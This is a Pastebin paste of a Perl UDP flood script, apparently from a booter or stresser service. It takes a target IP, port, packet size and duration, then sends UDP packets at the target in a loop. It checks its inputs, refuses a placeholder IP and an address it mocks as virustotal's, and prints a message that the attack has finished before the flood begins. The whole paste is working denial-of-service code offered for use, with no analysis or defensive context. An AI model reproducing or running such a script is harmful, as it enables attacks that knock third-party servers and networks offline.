Guest User

Untitled

a guest
Apr 26th, 2018
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #|||________|||#
  4. #||| STATIC |||#
  5. #|||^^^^^^^^|||#
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  15. $endtime = time() + ($time ? $time : 100);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18.  
  19. if ($size >= 50001) {
  20. print "Error: Size field is restricted to under 50000 ";
  21. exit;
  22. }
  23.  
  24. if ($time >= 241) {
  25. print "Error: Time field must be under 240 ";
  26. exit;
  27. }
  28.  
  29. if ($ip =~ m/^PUT IP HERE$/) {
  30. print "*bitchslap*... ";
  31. exit;
  32. }
  33.  
  34. if ($ip =~ m/^PUT IP HERE$/) {
  35. print "*bitchslap*... ";
  36. exit;
  37. }
  38.  
  39. if ($ip =~ m/^74.53.201.162$/) {
  40. print "Everytime you try to hit virustotal, I eat an entire family of pandas.";
  41. exit;
  42. }
  43.  
  44.  
  45. if ($ip == "") {
  46. print "Error: Fields can't be left blank";
  47. exit;
  48. }
  49.  
  50. if ($port == "") {
  51. print "Error: Fields can't be left blank";
  52. exit;
  53. }
  54.  
  55. if ($size == "") {
  56. print "Error: Fields can't be left blank";
  57. exit;
  58. }
  59.  
  60. if ($time == "") {
  61. print "Error: Fields can't be left blank";
  62. exit;
  63. }
  64.  
  65.  
  66. print "Command was successfully received and attack on target has finished";
  67.  
  68. for (;time() <= $endtime;) {
  69. $psize = $size ? $size : int(rand(1024-64)+64) ;
  70. $pport = $port ? $port : int(rand(65500))+1;
  71.  
  72. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Add Comment
Please, Sign In to add comment